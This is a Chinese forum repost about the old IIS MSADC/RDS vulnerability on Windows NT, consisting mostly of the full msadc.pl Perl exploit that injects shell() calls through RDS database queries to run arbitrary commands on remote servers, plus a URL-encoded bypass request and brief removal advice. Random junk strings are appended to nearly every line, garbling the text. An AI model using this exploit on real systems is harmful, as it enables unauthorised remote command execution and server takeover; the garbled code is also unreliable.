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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) D bX{#4lx  
P'@<:S|  
涉及程序: Y+%sBqo @  
Microsoft NT server 6+rlXmd  
iItcN;;7  
描述: 4 fV3Ear=j  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ~i'Nqe_  
;|%dY{L-  
详细: RNVbcd  
如果你没有时间读详细内容的话,就删除: F7m?xy  
c:\Program Files\Common Files\System\Msadc\msadcs.dll %3;Fgky  
有关的安全问题就没有了。 5@Bu99`  
;.s l*q1A  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 "ceed)(:  
_&3<6$}i"  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 `L;eba  
关于利用ODBC远程漏洞的描述,请参看: \/7i-B]G7  
 q}Z3?W  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ~%u|[$  
k`HP "H  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 :m=m}3/:  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp `?\tUO2_T  
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这里不再论述。 G}@#u9  
r5&I? 0   
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: NBh%:tu7M  
_?7#MWe&  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 38V3o`f  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! `+lHeLz':  
NY$uq+Z>  
(fD ;g9  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 0rk]/--FGJ  
bok.j  
#!perl y< R=  
# \ A1uhHP!  
# MSADC/RDS 'usage' (aka exploit) script ){s*n=KIO  
# P=L$;xgp  
# by rain.forest.puppy /z7VNkD  
# z><5R|Gf  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me &Wp8u#4L  
# beta test and find errors! z@s5m}  
n;HHogA  
use Socket; use Getopt::Std; ?q`0ZuAg\<  
getopts("e:vd:h:XR", \%args); &MmU  
v4Zb? Yb  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Bsf7mcXz7z  
C<^YVeG  
if (!defined $args{h} && !defined $args{R}) { -kz4FS  
print qq~ 9Ywpej*+  
Usage: msadc.pl -h <host> { -d <delay> -X -v } { kSf{>Ia  
-h <host> = host you want to scan (ip or domain) 8rZ!ia!  
-d <seconds> = delay between calls, default 1 second <E;pgw!  
-X = dump Index Server path table, if available pD"vRbYF  
-v = verbose {3a&1'a0g  
-e = external dictionary file for step 5 ,y`CRlr:  
QB!~Wh  
Or a -R will resume a command session qIUfPA=/_  
6\7nc FO3  
~; exit;} \mM<\-'p  
=rA~7+}  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; }_tln  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} E "iUq  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} (;x3} ]  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 'XQ`g CF=  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} $yDWu"R8  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } {U]H;~3 ?  
8kE]_t  
if (!defined $args{R}){ $ret = &has_msadc; "@@I!RwA  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ^VW PdH/Fe  
VLsxdwHgb  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" d4:`@*  
. "cmd /c "; 4EI7W,y  
$in=<STDIN>; chomp $in; Q'l^9Bz  
$command="cmd /c " . $in ; 5wB =>  
#?MY&hdU9  
if (defined $args{R}) {&load; exit;} C`=p +2I]  
c$ S{^IQ  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; rD?L  
&try_btcustmr; =@Dwlze  
kh~'Cn "O  
print "\nStep 2: Trying to make our own DSN..."; &*G<a3 Q  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ]$afC!Z  
N#V.1<Y  
print "\nStep 3: Trying known DSNs..."; VUTacA Y>L  
&known_dsn; :(dHY  
Y3kA?p0  
print "\nStep 4: Trying known .mdbs..."; ^ PI5L  
&known_mdb; dpQG[vXe  
6-`|:[Q~  
if (defined $args{e}){ WPZ?*Sx  
print "\nStep 5: Trying dictionary of DSN names..."; ~pa!w?/bQ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } mOo`ZcTU  
W{z.?$ SH  
print "Sorry Charley...maybe next time?\n"; &1%q"\VI  
exit; s}5cSU!|  
b[z]CP  
############################################################################## bNT9 H`P  
VxP&j0M>  
sub sendraw { # ripped and modded from whisker [{4 MR%--  
sleep($delay); # it's a DoS on the server! At least on mine... 0CSv10Tg  
my ($pstr)=@_; Sxjub&=  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Va Z!.#(P  
die("Socket problems\n"); Y|8v O  
if(connect(S,pack "SnA4x8",2,80,$target)){ "5cM54Z0  
select(S); $|=1; '` 'GK&)  
print $pstr; my @in=<S>; XC{eX&,2x  
select(STDOUT); close(S); (}.@b|s  
return @in; w\) |  
} else { die("Can't connect...\n"); }} Kn+S,1r  
**69rN  
############################################################################## TW !&p"Us+  
%;#^l+UB  
sub make_header { # make the HTTP request rD>*j~_+P  
my $msadc=<<EOT keRE==(D  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 @aJ!PV'ms  
User-Agent: ACTIVEDATA ? ` SUQm  
Host: $ip R^{)D3  
Content-Length: $clen UH7jP#W%=  
Connection: Keep-Alive ZiLj=bh  
o\vBOp?hj  
ADCClientVersion:01.06 IK*07h/!  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 bLt.O(T}  
#^+DL]*l  
--!ADM!ROX!YOUR!WORLD! f6$b s+oP  
Content-Type: application/x-varg E 7-@&=]v  
Content-Length: $reqlen A!^q J#  
F;^F+H  
EOT HSq}7S&U  
; $msadc=~s/\n/\r\n/g; yA47"R  
return $msadc;} 36US5ef  
$1ndKB8)`J  
############################################################################## 7gRgOzWfV  
3_A *$  
sub make_req { # make the RDS request XrZ*1V  
my ($switch, $p1, $p2)=@_; G@j0rnn>B  
my $req=""; my $t1, $t2, $query, $dsn; |JCU<_<  
(5\N B0  
if ($switch==1){ # this is the btcustmr.mdb query P;4w*((} ~  
$query="Select * from Customers where City=" . make_shell(); w3$   
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . nT2)E&U6%  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Agrk|wPK  
Z1"v}g  
elsif ($switch==2){ # this is general make table query B#9{-t3Vf  
$query="create table AZZ (B int, C varchar(10))"; &r:7g%{n  
$dsn="$p1";} rx}r~0i  
>t7x>_~   
elsif ($switch==3){ # this is general exploit table query oY, %Iq  
$query="select * from AZZ where C=" . make_shell(); "Wx]RN:  
$dsn="$p1";} (y^vqMz  
itMg|%B%  
elsif ($switch==4){ # attempt to hork file info from index server kwsp9 0)  
$query="select path from scope()"; JfPD}w  
$dsn="Provider=MSIDXS;";} ^Ox3XC  
%iw3oh&Fkm  
elsif ($switch==5){ # bad query iQ"XLrpl  
$query="select"; 2it?$8#i  
$dsn="$p1";} O+ICol  
dUsx vho  
$t1= make_unicode($query); %Rsp;1Z  
$t2= make_unicode($dsn); G$sA`<<  
$req = "\x02\x00\x03\x00"; LW(6$hpPp  
$req.= "\x08\x00" . pack ("S1", length($t1)); n93=8;&  
$req.= "\x00\x00" . $t1 ; IH"6? 9nd  
$req.= "\x08\x00" . pack ("S1", length($t2)); .aflsUD  
$req.= "\x00\x00" . $t2 ; B-r0"MX&  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; '}9JCJ  
return $req;} W | o'&  
#BST lz  
############################################################################## 9VbOQ{8  
R=KQ  
sub make_shell { # this makes the shell() statement O]m+u  
return "'|shell(\"$command\")|'";} Ox-|JJ=  
12+>5BA  
############################################################################## ? C/Te)  
}RP @!=  
sub make_unicode { # quick little function to convert to unicode !Xph_SQ!B=  
my ($in)=@_; my $out; plZ>03(6Q  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } C/-63O_  
return $out;} 7>~5jYP  
nakYn  
############################################################################## 0c#/hFn  
/Js7`r=Rx  
sub rdo_success { # checks for RDO return success (this is kludge) &/Q0  
my (@in) = @_; my $base=content_start(@in); ?)#5X_V-q  
if($in[$base]=~/multipart\/mixed/){ .AU)*7Gh  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 2j&AiD  
return 0;} YSe.t_K2C  
+="e]Yh;  
############################################################################## Tq4-wE+  
/QJ?bD#a  
sub make_dsn { # this makes a DSN for us "T- `$'9  
my @drives=("c","d","e","f"); Zg.&V  
print "\nMaking DSN: "; A\.GV1  
foreach $drive (@drives) { \(vY%DL1:  
print "$drive: "; y?q*WUh  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . }:~x7|~s:  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" yiA<,!;4P  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); r#B+(X7LM  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; -Zz$~$  
return 0 if $2 eq "404"; # not found/doesn't exist ?%y?rk <  
if($2 eq "200") { J":,Vd!*-  
foreach $line (@results) { ~7Tc$ "I  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} qhz]Wm P   
} return 0;} >:|q&|x-  
1{r)L{]  
############################################################################## ^!by3Elqqk  
}x wu*Zx  
sub verify_exists { g'm+/pU)w)  
my ($page)=@_; ;{%\9nS  
my @results=sendraw("GET $page HTTP/1.0\n\n"); v3jg~"!  
return $results[0];} n;T7=1_"  
Z KckAz\#  
############################################################################## O~^"  
\9g+^vQg  
sub try_btcustmr { !f+H,]D"  
my @drives=("c","d","e","f"); hBX!iukT|{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ynhmMy%  
cu/5$m?xx  
foreach $dir (@dirs) { SK#(#OQoh  
print "$dir -> "; # fun status so you can see progress Ub * wuI  
foreach $drive (@drives) { =^5Alb a/  
print "$drive: "; # ditto q CnZhJ  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ]3 l9:|  
$reqlenlen=length( "$reqlen" ); j_. 5r&w  
$clen= 206 + $reqlenlen + $reqlen; -xA2pYz"  
S :<Nc{C  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); @("a.;1#o  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} E`uY1B[c  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} pj?f?.^  
L|}lccpI  
############################################################################## FK5 <6n,U  
f__cn^1  
sub odbc_error { "pRtczxOgR  
my (@in)=@_; my $base; VeQg -#&I  
my $base = content_start(@in); xe` </  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this xM&Wgei]10  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j4uvS!  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sv&;Y\2c  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h* u  
return $in[$base+4].$in[$base+5].$in[$base+6];} [c|]f_ZdK  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; @3C>BLI8+  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . jGpN,/VQa  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} < F.hZGss7  
N%*5T[.  
############################################################################## t~#zMUfac  
UZJCvfi  
sub verbose { .xm.DRk3  
my ($in)=@_; G#u6Am)T  
return if !$verbose; j;-1J_e5  
print STDOUT "\n$in\n";} r[b(I@T +  
|w<H!lGe!$  
############################################################################## J:V6  
1Y7Eajt-5  
sub save { e'~J,(fB  
my ($p1, $p2, $p3, $p4)=@_; Hn%xDJ'  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; H?&Mbw d  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 0c<.iM  
close OUT;} %)/P^9I6  
Wp!%-vzy&  
############################################################################## pu 7{a  
@M_oH:GV  
sub load { g" .are'7  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; jU9$Ehg I  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); GS a [ oh  
@p=<IN>; close(IN); |yQZt/*SOZ  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); w~"KA6^  
$target= inet_aton($ip) || die("inet_aton problems"); ToXki,  
print "Resuming to $ip ..."; $Bs {u=+w  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; kT"Kyd  
if($p[1]==1) { B&[M7i  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;  a1t4Dd  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Rn9m]x  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); s'E2P[:  
if (rdo_success(@results)){print "Success!\n";} Rv$[)`&T  
else { print "failed\n"; verbose(odbc_error(@results));}} 2(u,SQ  
elsif ($p[1]==3){ YW_Q\|p]M  
if(run_query("$p[3]")){ Ay5i+)MD  
print "Success!\n";} else { print "failed\n"; }} $RIecv<e_  
elsif ($p[1]==4){ GVYBa_gx  
if(run_query($drvst . "$p[3]")){ W&& ;:Fr  
print "Success!\n"; } else { print "failed\n"; }} t<z`N-5*  
exit;}  D#il*  
gcPTLh[^Er  
############################################################################## j/r]wd"aUS  
w$z}r  
sub create_table { X(]WVCu  
my ($in)=@_; kb{]>3Y"  
$reqlen=length( make_req(2,$in,"") ) - 28; )Ch2E|C?=8  
$reqlenlen=length( "$reqlen" ); Q<^Tl(`/N?  
$clen= 206 + $reqlenlen + $reqlen; `\gnl'  
my @results=sendraw(make_header() . make_req(2,$in,"")); U(Nu%  
return 1 if rdo_success(@results); p?7v$ev_  
my $temp= odbc_error(@results); verbose($temp); %C~1^9uq  
return 1 if $temp=~/Table 'AZZ' already exists/; RrX[|GLSJ  
return 0;} 1zm ulj%&  
] >LhkA@V  
############################################################################## )Dw,q~xgg0  
D coX+8 7  
sub known_dsn { %k-3?%&8  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ;aI[=?<x  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Rot@x r7Hc  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 4zev^FR  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); DnCP aM4%  
< Z{HX[y  
foreach $dSn (@dsns) { Cjqklb/  
print "."; { QHVo#  
next if (!is_access("DSN=$dSn")); !MYSfPdS  
if(create_table("DSN=$dSn")){ zVXC1u9B  
print "$dSn successful\n"; Sp@^XmX(S  
if(run_query("DSN=$dSn")){ -fwoTGlX  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { <49K>S9O  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ?t/~lv  
E*.{=W }C  
############################################################################## \>jLRb|7Ts  
VL% UR{  
sub is_access { WG N=Y~E  
my ($in)=@_; =yr0bGy`-  
$reqlen=length( make_req(5,$in,"") ) - 28; ?u/@PR\D  
$reqlenlen=length( "$reqlen" );  J7=+  
$clen= 206 + $reqlenlen + $reqlen; 9xO#tu]  
my @results=sendraw(make_header() . make_req(5,$in,"")); #33fGmd[  
my $temp= odbc_error(@results); Ge-CY  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <(-= 'QA  
return 0;} 0Sle  
0Fk5kGD,&K  
############################################################################## *AoR==:ya  
YVYu:}e3)  
sub run_query { Xf02"PXC  
my ($in)=@_; v1BDP<qU2  
$reqlen=length( make_req(3,$in,"") ) - 28; e\Y*F  
$reqlenlen=length( "$reqlen" ); 9z}uc@#D=m  
$clen= 206 + $reqlenlen + $reqlen; W=#:.Xj[  
my @results=sendraw(make_header() . make_req(3,$in,"")); J6U$qi  
return 1 if rdo_success(@results); dRj|g  
my $temp= odbc_error(@results); verbose($temp); AvdXEY(-  
return 0;} 2_n7=&  
G?E oPh^m  
############################################################################## _CW(PsfY  
k 8UO9r[  
sub known_mdb { |+iws8xK?  
my @drives=("c","d","e","f","g"); Pa{%\dsv  
my @dirs=("winnt","winnt35","winnt351","win","windows"); uT}' Y)m  
my $dir, $drive, $mdb; <\NY<QIwFw  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; )z&/_E=  
2.%.Z_k)  
# this is sparse, because I don't know of many 2 $?C7(kW  
my @sysmdbs=( "\\catroot\\icatalog.mdb", <_3b1VhZ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ]}U*_rM:  
"\\system32\\certmdb.mdb", 9?0^ap,T  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 7( qE0R&@  
ft$RSb#  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", H-~6Z",1  
"\\cfusion\\cfapps\\forums\\forums_.mdb", &K.?p2$X  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", e6d<dXx  
"\\cfusion\\cfapps\\security\\realm_.mdb", ?,& tNP{jq  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", A<1hOSCz\  
"\\cfusion\\database\\cfexamples.mdb", ~xD ={9BL  
"\\cfusion\\database\\cfsnippets.mdb", b]x4o#t  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Olh<,p+x  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 5\e9@1Rc  
"\\cfusion\\brighttiger\\database\\cleam.mdb", JKGc3j,+#  
"\\cfusion\\database\\smpolicy.mdb", }UWL-TkEjF  
"\\cfusion\\database\cypress.mdb", +xrr? g  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", <4P4u*/o  
"\\website\\cgi-win\\dbsample.mdb", CaL\fZ  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", =>M^02"  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" BZR:OtR^  
); #these are just vJ'2@f$  
foreach $drive (@drives) { M7@2^G]p  
foreach $dir (@dirs){ r]b_@hT',  
foreach $mdb (@sysmdbs) { CE/Xfh'44  
print "."; h"_MA_]~  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ BDR.AZ  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; i(>4wK!!  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ y#q?A,C@n  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; go'-5in(  
} else { print "Something's borked. Use verbose next time\n"; }}}}} jpO7'ivG  
f' 3q(a<p  
foreach $drive (@drives) { m+lvl  
foreach $mdb (@mdbs) { v"#mzd.tW  
print "."; c.>oe*+  
if(create_table($drv . $drive . $dir . $mdb)){ g7O qX \  
print "\n" . $drive . $dir . $mdb . " successful\n"; =Ur}~w&H8  
if(run_query($drv . $drive . $dir . $mdb)){ ?XA2&  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; +\F'iAs@  
} else { print "Something's borked. Use verbose next time\n"; }}}} *a#rM"6P  
} I?ae\X@M  
!V i@1E  
############################################################################## my4giC2a  
?TU}~}  
sub hork_idx { ] :BX!<  
print "\nAttempting to dump Index Server tables...\n"; L5 veX}  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; E|6VX4`+  
$reqlen=length( make_req(4,"","") ) - 28; QlO0qbG[y  
$reqlenlen=length( "$reqlen" ); \E% 'Y  
$clen= 206 + $reqlenlen + $reqlen; )6|yb65ZUX  
my @results=sendraw2(make_header() . make_req(4,"","")); rdJ d#S  
if (rdo_success(@results)){ ?<(m 5Al7  
my $max=@results; my $c; my %d; l zYnw)Pv  
for($c=19; $c<$max; $c++){ ni<A3OB  
$results[$c]=~s/\x00//g; ;9#Z@]p  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; -Xxqm%([71  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; K)Q]a30  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; pO ml8SQf  
$d{"$1$2"}="";} rld67'KcE  
foreach $c (keys %d){ print "$c\n"; } rmE"rf  
} else {print "Index server doesn't seem to be installed.\n"; }} .)<(Oj|4  
-lhLA`6_R  
############################################################################## 34d3g  
pBETA'fY  
sub dsn_dict { 20Z8HwQi  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Kd=%tNp  
while(<IN>){ *T~Ve;3h;  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; L7V G`h;  
next if (!is_access("DSN=$dSn")); 5lm<%  
if(create_table("DSN=$dSn")){ +TQ47Z c  
print "$dSn successful\n"; :1iqT)&|8F  
if(run_query("DSN=$dSn")){ J,AR5@)1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Er+nk`UR_  
print "Something's borked. Use verbose next time\n";}}} ~fT_8z  
print "\n"; close(IN);} V}SBuQp"  
w0C~*fn3l  
############################################################################## 8[J}CdS  
Q)LM-ZJKQ  
sub sendraw2 { # ripped and modded from whisker 2EfF=Fm>  
sleep($delay); # it's a DoS on the server! At least on mine... <~n$1aA  
my ($pstr)=@_; ##EYH1P]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || d\ ~QBr?  
die("Socket problems\n"); +{L<? "  
if(connect(S,pack "SnA4x8",2,80,$target)){ K!]1oy'V  
print "Connected. Getting data"; Vw&HVo  
open(OUT,">raw.out"); my @in; Jte#ZnP  
select(S); $|=1; print $pstr; "eWYv3z~-  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Wf&W^Q  
close(OUT); select(STDOUT); close(S); return @in; *mMEl]+  
} else { die("Can't connect...\n"); }} pKjoi{ Z  
o)[2@fRC(  
############################################################################## ?&^?-S% p  
-p E(_  
sub content_start { # this will take in the server headers YNBHBK4;  
my (@in)=@_; my $c; EgDQ+( -  
for ($c=1;$c<500;$c++) { WzI8_uM  
if($in[$c] =~/^\x0d\x0a/){ W5'3$,X9  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 1& '8Y  
else { return $c+1; }}} XbZ*&  
return -1;} # it should never get here actually  =Mb1o[  
bC3 F  
############################################################################## 4#'(" #R  
&V<W>Y>|l*  
sub funky { >"@?ir  
my (@in)=@_; my $error=odbc_error(@in); 1 `7<2w  
if($error=~/ADO could not find the specified provider/){ [M%9_CfZOy  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; i9D0]3/>  
exit;} <uc1D/~^:  
if($error=~/A Handler is required/){ `W-&0|%Ta  
print "\nServer has custom handler filters (they most likely are patched)\n"; [*Z`Kc  
exit;} 7 uarh!  
if($error=~/specified Handler has denied Access/){ S i nl  
print "\nServer has custom handler filters (they most likely are patched)\n"; //&j<vu s  
exit;}} @Fpb-Qd"  
vw)7 !/#  
############################################################################## Ol')7d&  
'/I:^9  
sub has_msadc { 0'r%,0  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); D)brPMS:o  
my $base=content_start(@results); s ncIqsZ  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 2nFy`|aA%  
return 0;} -OYDe@Wb]  
&|<xqt  
######################## =]>NDWqpHN  
5`<eKwls  
XIWm>IQ[)  
解决方案: c:l]=O   
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll !tHt,eJy  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 $cVi;2$p  
w.N,)]h  
拿出来充数 哈哈
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